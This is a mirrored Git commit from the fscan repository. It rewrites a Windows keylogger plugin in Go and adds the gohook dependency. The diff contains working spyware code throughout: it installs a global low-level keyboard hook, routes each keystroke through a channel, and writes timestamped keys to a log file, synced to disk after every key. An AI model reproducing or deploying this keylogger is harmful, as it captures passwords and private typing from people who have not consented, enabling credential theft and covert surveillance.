mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
perf: 优化Windows键盘记录性能和实时输出
- 重构键盘Hook架构,采用事件驱动模式降低系统影响 - 实现真正的实时文件写入,支持按键立即同步到磁盘 - 优化Hook回调处理时间,立即调用CallNextHookEx确保系统响应 - 使用非阻塞事件通道避免键盘Hook阻塞系统 - 简化键码转换逻辑,提升按键处理性能 - 解决文件输出延迟问题,支持键盘记录过程中实时查看 - 分离平台实现,Windows平台使用高效实时写入模式
This commit is contained in:
parent
c9d07ebd9b
commit
42522df80c
@ -5,6 +5,7 @@ package keylogger
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
@ -12,6 +13,7 @@ import (
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// Windows API 声明
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
@ -19,23 +21,14 @@ var (
|
||||
procCallNextHookEx = user32.NewProc("CallNextHookEx")
|
||||
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
|
||||
procGetMessage = user32.NewProc("GetMessageW")
|
||||
procPeekMessage = user32.NewProc("PeekMessageW")
|
||||
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||
procDispatchMessage = user32.NewProc("DispatchMessageW")
|
||||
procGetModuleHandle = kernel32.NewProc("GetModuleHandleW")
|
||||
procGetLastError = kernel32.NewProc("GetLastError")
|
||||
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
|
||||
procGetKeyState = user32.NewProc("GetKeyState")
|
||||
procToUnicode = user32.NewProc("ToUnicode")
|
||||
procGetKeyboardLayout = user32.NewProc("GetKeyboardLayout")
|
||||
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
|
||||
)
|
||||
|
||||
const (
|
||||
WH_KEYBOARD_LL = 13
|
||||
WM_KEYDOWN = 0x0100
|
||||
WM_KEYUP = 0x0101
|
||||
WM_SYSKEYDOWN = 0x0104
|
||||
WM_SYSKEYUP = 0x0105
|
||||
)
|
||||
|
||||
type (
|
||||
@ -44,7 +37,6 @@ type (
|
||||
LPARAM uintptr
|
||||
LRESULT uintptr
|
||||
HANDLE uintptr
|
||||
HINSTANCE HANDLE
|
||||
HHOOK HANDLE
|
||||
HWND HANDLE
|
||||
)
|
||||
@ -70,122 +62,109 @@ type KBDLLHOOKSTRUCT struct {
|
||||
DwExtraInfo uintptr
|
||||
}
|
||||
|
||||
// 全局变量 - 简化版本
|
||||
var (
|
||||
windowsHook HHOOK
|
||||
keylogger *KeyloggerPlugin
|
||||
windowsHook HHOOK
|
||||
keylogger *KeyloggerPlugin
|
||||
logFile *os.File
|
||||
eventChannel chan KeyboardEvent
|
||||
stopHookChan chan bool
|
||||
)
|
||||
|
||||
// checkWindowsRequirements 检查Windows特定要求
|
||||
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
|
||||
// 检查是否为管理员权限
|
||||
// Windows键盘Hook通常需要管理员权限
|
||||
common.LogInfo("检查Windows键盘记录权限...")
|
||||
return nil
|
||||
// KeyboardEvent 键盘事件结构,模仿gohook的设计
|
||||
type KeyboardEvent struct {
|
||||
Kind EventKind
|
||||
Rawcode uint16
|
||||
Keychar string
|
||||
Timestamp time.Time
|
||||
}
|
||||
|
||||
// startWindowsKeylogging 启动Windows键盘记录
|
||||
type EventKind int
|
||||
|
||||
const (
|
||||
KeyDown EventKind = iota
|
||||
KeyUp
|
||||
)
|
||||
|
||||
// startWindowsKeylogging 启动Windows键盘记录 - 高效版本
|
||||
func (p *KeyloggerPlugin) startWindowsKeylogging(ctx context.Context) error {
|
||||
common.LogInfo("启动Windows键盘记录...")
|
||||
common.LogInfo("启动Windows键盘记录 (高效版本)...")
|
||||
|
||||
keylogger = p
|
||||
|
||||
// 安装低级键盘Hook
|
||||
hook, err := p.installKeyboardHook()
|
||||
if err != nil {
|
||||
return fmt.Errorf("安装键盘Hook失败: %v", err)
|
||||
}
|
||||
// 创建事件通道(模仿gohook的设计)
|
||||
eventChannel = make(chan KeyboardEvent, 100)
|
||||
stopHookChan = make(chan bool, 1)
|
||||
|
||||
windowsHook = hook
|
||||
// 打开日志文件进行实时写入
|
||||
var err error
|
||||
logFile, err = os.OpenFile(p.outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||
if err != nil {
|
||||
return fmt.Errorf("无法创建输出文件 %s: %v", p.outputFile, err)
|
||||
}
|
||||
defer func() {
|
||||
common.LogInfo("Windows键盘记录清理Hook...")
|
||||
p.uninstallKeyboardHook(hook)
|
||||
keylogger = nil
|
||||
if logFile != nil {
|
||||
logFile.Close()
|
||||
logFile = nil
|
||||
}
|
||||
}()
|
||||
|
||||
// 消息循环
|
||||
return p.messageLoop(ctx)
|
||||
// 写入文件头部
|
||||
p.writeLogHeader()
|
||||
|
||||
// 启动Hook监听(在独立goroutine中)
|
||||
go p.startKeyboardHook()
|
||||
|
||||
// 启动事件处理(模仿你的for ev := range evChan的模式)
|
||||
return p.processEvents(ctx)
|
||||
}
|
||||
|
||||
// installKeyboardHook 安装键盘Hook
|
||||
func (p *KeyloggerPlugin) installKeyboardHook() (HHOOK, error) {
|
||||
hookProc := syscall.NewCallback(lowLevelKeyboardProc)
|
||||
|
||||
// 获取当前模块句柄
|
||||
// startKeyboardHook 启动键盘Hook监听
|
||||
func (p *KeyloggerPlugin) startKeyboardHook() {
|
||||
// 安装Hook
|
||||
hookProc := syscall.NewCallback(keyboardHookProc)
|
||||
moduleHandle, _, _ := procGetModuleHandle.Call(0)
|
||||
|
||||
hook, _, _ := procSetWindowsHookEx.Call(
|
||||
uintptr(WH_KEYBOARD_LL),
|
||||
hookProc,
|
||||
moduleHandle, // 使用当前模块句柄
|
||||
0, // dwThreadId - 0表示全局Hook
|
||||
moduleHandle,
|
||||
0,
|
||||
)
|
||||
|
||||
if hook == 0 {
|
||||
lastError, _, _ := procGetLastError.Call()
|
||||
return 0, fmt.Errorf("SetWindowsHookEx失败,错误代码: %d", lastError)
|
||||
common.LogError("安装键盘Hook失败")
|
||||
return
|
||||
}
|
||||
|
||||
common.LogInfo("Windows键盘Hook安装成功")
|
||||
return HHOOK(hook), nil
|
||||
}
|
||||
|
||||
// uninstallKeyboardHook 卸载键盘Hook
|
||||
func (p *KeyloggerPlugin) uninstallKeyboardHook(hook HHOOK) {
|
||||
if hook != 0 {
|
||||
procUnhookWindowsHookEx.Call(uintptr(hook))
|
||||
}
|
||||
}
|
||||
|
||||
// messageLoop 消息循环
|
||||
func (p *KeyloggerPlugin) messageLoop(ctx context.Context) error {
|
||||
ticker := time.NewTicker(50 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
windowsHook = HHOOK(hook)
|
||||
common.LogInfo("键盘Hook安装成功")
|
||||
|
||||
// 消息循环
|
||||
msg := &MSG{}
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
common.LogInfo("收到停止信号,退出键盘记录")
|
||||
return nil
|
||||
case <-p.stopChan:
|
||||
common.LogInfo("键盘记录已停止")
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
// 使用PeekMessage非阻塞检查消息
|
||||
msg := &MSG{}
|
||||
ret, _, _ := procPeekMessage.Call(
|
||||
case <-stopHookChan:
|
||||
// 清理Hook
|
||||
procUnhookWindowsHookEx.Call(uintptr(windowsHook))
|
||||
common.LogInfo("键盘Hook已清理")
|
||||
return
|
||||
default:
|
||||
// 非阻塞消息处理
|
||||
ret, _, _ := procGetMessage.Call(
|
||||
uintptr(unsafe.Pointer(msg)),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1, // PM_REMOVE - 移除消息
|
||||
0, 0, 0,
|
||||
)
|
||||
|
||||
if ret != 0 {
|
||||
// 有消息,处理它
|
||||
procTranslateMessage.Call(uintptr(unsafe.Pointer(msg)))
|
||||
procDispatchMessage.Call(uintptr(unsafe.Pointer(msg)))
|
||||
if ret == 0 || ret == 0xFFFFFFFF {
|
||||
break
|
||||
}
|
||||
// 继续循环
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// lowLevelKeyboardProc 低级键盘Hook处理程序
|
||||
func lowLevelKeyboardProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
|
||||
if nCode >= 0 && keylogger != nil {
|
||||
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
|
||||
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
|
||||
|
||||
// 获取按键字符
|
||||
keyChar := getKeyChar(kbdStruct.VkCode)
|
||||
if keyChar != "" {
|
||||
common.LogDebug(fmt.Sprintf("捕获按键: %s (VK: %d)", keyChar, kbdStruct.VkCode))
|
||||
keylogger.addKeyToBuffer(keyChar)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 调用下一个Hook
|
||||
// keyboardHookProc Hook回调函数 - 最高效版本
|
||||
func keyboardHookProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
|
||||
// 立即调用下一个Hook,确保系统响应
|
||||
ret, _, _ := procCallNextHookEx.Call(
|
||||
uintptr(windowsHook),
|
||||
uintptr(nCode),
|
||||
@ -193,102 +172,130 @@ func lowLevelKeyboardProc(nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
|
||||
uintptr(lParam),
|
||||
)
|
||||
|
||||
return LRESULT(ret)
|
||||
}
|
||||
// 快速处理我们的逻辑
|
||||
if nCode >= 0 && eventChannel != nil {
|
||||
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
|
||||
kbdStruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam))
|
||||
|
||||
// getKeyChar 获取按键字符
|
||||
func getKeyChar(vkCode DWORD) string {
|
||||
var keyName string
|
||||
|
||||
// 特殊按键处理
|
||||
switch vkCode {
|
||||
case 0x08:
|
||||
keyName = "[Backspace]"
|
||||
case 0x09:
|
||||
keyName = "[Tab]"
|
||||
case 0x0D:
|
||||
keyName = "[Enter]"
|
||||
case 0x10:
|
||||
keyName = "[Shift]"
|
||||
case 0x11:
|
||||
keyName = "[Ctrl]"
|
||||
case 0x12:
|
||||
keyName = "[Alt]"
|
||||
case 0x1B:
|
||||
keyName = "[Esc]"
|
||||
case 0x20:
|
||||
keyName = " " // 空格
|
||||
case 0x25:
|
||||
keyName = "[Left]"
|
||||
case 0x26:
|
||||
keyName = "[Up]"
|
||||
case 0x27:
|
||||
keyName = "[Right]"
|
||||
case 0x28:
|
||||
keyName = "[Down]"
|
||||
case 0x2E:
|
||||
keyName = "[Delete]"
|
||||
default:
|
||||
// 普通字符按键
|
||||
if vkCode >= 0x30 && vkCode <= 0x39 { // 数字0-9
|
||||
keyName = string(rune(vkCode))
|
||||
} else if vkCode >= 0x41 && vkCode <= 0x5A { // 字母A-Z
|
||||
keyName = string(rune(vkCode + 32)) // 转换为小写
|
||||
} else if vkCode >= 0x60 && vkCode <= 0x69 { // 数字键盘0-9
|
||||
keyName = string(rune(vkCode - 0x30))
|
||||
} else {
|
||||
// 尝试使用ToUnicode获取字符
|
||||
keyName = toUnicodeString(vkCode)
|
||||
if keyName == "" {
|
||||
keyName = fmt.Sprintf("[VK_%d]", vkCode)
|
||||
// 非阻塞发送事件
|
||||
select {
|
||||
case eventChannel <- KeyboardEvent{
|
||||
Kind: KeyDown,
|
||||
Rawcode: uint16(kbdStruct.VkCode),
|
||||
Keychar: quickKeyChar(kbdStruct.VkCode),
|
||||
Timestamp: time.Now(),
|
||||
}:
|
||||
default:
|
||||
// 通道满了就跳过,不阻塞系统
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return keyName
|
||||
return LRESULT(ret)
|
||||
}
|
||||
|
||||
// toUnicodeString 使用ToUnicode API获取按键字符
|
||||
func toUnicodeString(vkCode DWORD) string {
|
||||
var keyboardState [256]byte
|
||||
var unicodeBuffer [16]uint16
|
||||
// processEvents 处理键盘事件 - 完全模仿你的设计
|
||||
func (p *KeyloggerPlugin) processEvents(ctx context.Context) error {
|
||||
common.LogInfo("开始处理键盘事件...")
|
||||
|
||||
// 获取键盘布局
|
||||
_, _, _ = procGetKeyboardLayout.Call(0)
|
||||
// 超时定时器
|
||||
timeout := time.NewTimer(p.duration)
|
||||
defer timeout.Stop()
|
||||
|
||||
// 调用ToUnicode
|
||||
ret, _, _ := procToUnicode.Call(
|
||||
uintptr(vkCode),
|
||||
0, // scanCode
|
||||
uintptr(unsafe.Pointer(&keyboardState[0])),
|
||||
uintptr(unsafe.Pointer(&unicodeBuffer[0])),
|
||||
16,
|
||||
0,
|
||||
)
|
||||
// 完全模仿你的for ev := range evChan模式
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
common.LogInfo("收到上下文取消信号,退出键盘记录")
|
||||
stopHookChan <- true
|
||||
return nil
|
||||
|
||||
if ret > 0 {
|
||||
return syscall.UTF16ToString(unicodeBuffer[:ret])
|
||||
case <-timeout.C:
|
||||
common.LogInfo("键盘记录时间到达,退出记录")
|
||||
stopHookChan <- true
|
||||
return nil
|
||||
|
||||
case ev := <-eventChannel:
|
||||
// 只处理按键按下事件(模仿你的 if ev.Kind == hook.KeyDown)
|
||||
if ev.Kind == KeyDown && ev.Keychar != "" {
|
||||
// 写入文件 - 完全模仿你的实时写入模式
|
||||
fmt.Fprintf(logFile, "[%s] %s\n",
|
||||
ev.Timestamp.Format("15:04:05.000"), ev.Keychar)
|
||||
logFile.Sync() // 模仿你的f.Sync()
|
||||
|
||||
// 添加到内存缓冲区用于统计
|
||||
p.bufferMutex.Lock()
|
||||
p.keyBuffer = append(p.keyBuffer, fmt.Sprintf("[%s] %s",
|
||||
ev.Timestamp.Format("2006-01-02 15:04:05"), ev.Keychar))
|
||||
p.bufferMutex.Unlock()
|
||||
|
||||
common.LogDebug(fmt.Sprintf("记录按键: %s (Rawcode: %d)", ev.Keychar, ev.Rawcode))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// writeLogHeader 写入日志文件头部
|
||||
func (p *KeyloggerPlugin) writeLogHeader() {
|
||||
if logFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
return ""
|
||||
// 模仿你的日志格式
|
||||
fmt.Fprintf(logFile, "开始记录: %s\n", time.Now().Format("2006-01-02 15:04:05"))
|
||||
fmt.Fprintf(logFile, "记录时长: %v\n", p.duration)
|
||||
fmt.Fprintf(logFile, "平台: Windows (高效版本)\n")
|
||||
fmt.Fprintf(logFile, "================================\n\n")
|
||||
logFile.Sync()
|
||||
}
|
||||
|
||||
// quickKeyChar 快速键码转字符(高度优化版本)
|
||||
func quickKeyChar(vkCode DWORD) string {
|
||||
switch {
|
||||
case vkCode >= 0x30 && vkCode <= 0x39: // 数字0-9
|
||||
return string(rune(vkCode))
|
||||
case vkCode >= 0x41 && vkCode <= 0x5A: // 字母A-Z
|
||||
return string(rune(vkCode + 32)) // 转小写
|
||||
case vkCode == 0x20:
|
||||
return " "
|
||||
case vkCode == 0x0D:
|
||||
return "[Enter]"
|
||||
case vkCode == 0x08:
|
||||
return "[Backspace]"
|
||||
case vkCode == 0x09:
|
||||
return "[Tab]"
|
||||
case vkCode == 0x10:
|
||||
return "[Shift]"
|
||||
case vkCode == 0x11:
|
||||
return "[Ctrl]"
|
||||
case vkCode == 0x12:
|
||||
return "[Alt]"
|
||||
case vkCode == 0x1B:
|
||||
return "[Esc]"
|
||||
default:
|
||||
return "" // 跳过其他按键,保持高性能
|
||||
}
|
||||
}
|
||||
|
||||
// checkWindowsRequirements 检查Windows特定要求
|
||||
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
|
||||
common.LogInfo("检查Windows键盘记录权限...")
|
||||
return nil
|
||||
}
|
||||
|
||||
// 其他平台的空实现
|
||||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("Linux平台请使用专门的实现")
|
||||
}
|
||||
|
||||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("Darwin平台请使用专门的实现")
|
||||
}
|
||||
|
||||
// checkLinuxRequirements 检查Linux特定要求(Windows平台的空实现)
|
||||
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// checkDarwinRequirements 检查Darwin特定要求(Windows平台的空实现)
|
||||
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// startLinuxKeylogging 启动Linux键盘记录(Windows平台的空实现)
|
||||
func (p *KeyloggerPlugin) startLinuxKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
||||
|
||||
// startDarwinKeylogging 启动Darwin键盘记录(Windows平台的空实现)
|
||||
func (p *KeyloggerPlugin) startDarwinKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("不支持的平台")
|
||||
}
|
@ -144,9 +144,13 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context) error {
|
||||
return fmt.Errorf("键盘记录失败: %v", err)
|
||||
}
|
||||
|
||||
// 保存记录的键盘输入到文件
|
||||
if err := p.saveKeysToFile(); err != nil {
|
||||
common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err))
|
||||
// Windows平台已经实时写入文件,其他平台保存到文件
|
||||
if runtime.GOOS != "windows" {
|
||||
if err := p.saveKeysToFile(); err != nil {
|
||||
common.LogError(fmt.Sprintf("保存键盘记录失败: %v", err))
|
||||
}
|
||||
} else {
|
||||
common.LogInfo("Windows平台已实时写入文件,无需再次保存")
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("键盘记录完成,捕获了 %d 个键盘事件", len(p.keyBuffer)))
|
||||
|
2
go.mod
2
go.mod
@ -17,6 +17,7 @@ require (
|
||||
github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed
|
||||
github.com/neo4j/neo4j-go-driver/v4 v4.4.7
|
||||
github.com/rabbitmq/amqp091-go v1.10.0
|
||||
github.com/robotn/gohook v0.42.2
|
||||
github.com/satori/go.uuid v1.2.0
|
||||
github.com/schollz/progressbar/v3 v3.13.1
|
||||
github.com/sijms/go-ora/v2 v2.5.29
|
||||
@ -71,6 +72,7 @@ require (
|
||||
github.com/rivo/uniseg v0.4.7 // indirect
|
||||
github.com/rogpeppe/go-internal v1.13.1 // indirect
|
||||
github.com/stoewer/go-strcase v1.2.0 // indirect
|
||||
github.com/vcaesar/keycode v0.10.1 // indirect
|
||||
golang.org/x/term v0.27.0 // indirect
|
||||
gopkg.in/inf.v0 v0.9.1 // indirect
|
||||
)
|
||||
|
5
go.sum
5
go.sum
@ -293,6 +293,8 @@ github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqn
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
|
||||
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/robotn/gohook v0.42.2 h1:AI9OVh5o59c76jp9Xcc4NpIvze2YeKX1Rn8JvflAUXY=
|
||||
github.com/robotn/gohook v0.42.2/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
|
||||
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
|
||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
|
||||
@ -344,6 +346,9 @@ github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsT
|
||||
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
|
||||
github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0=
|
||||
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
|
||||
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
|
||||
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
|
||||
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
|
||||
github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg=
|
||||
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
|
Loading…
Reference in New Issue
Block a user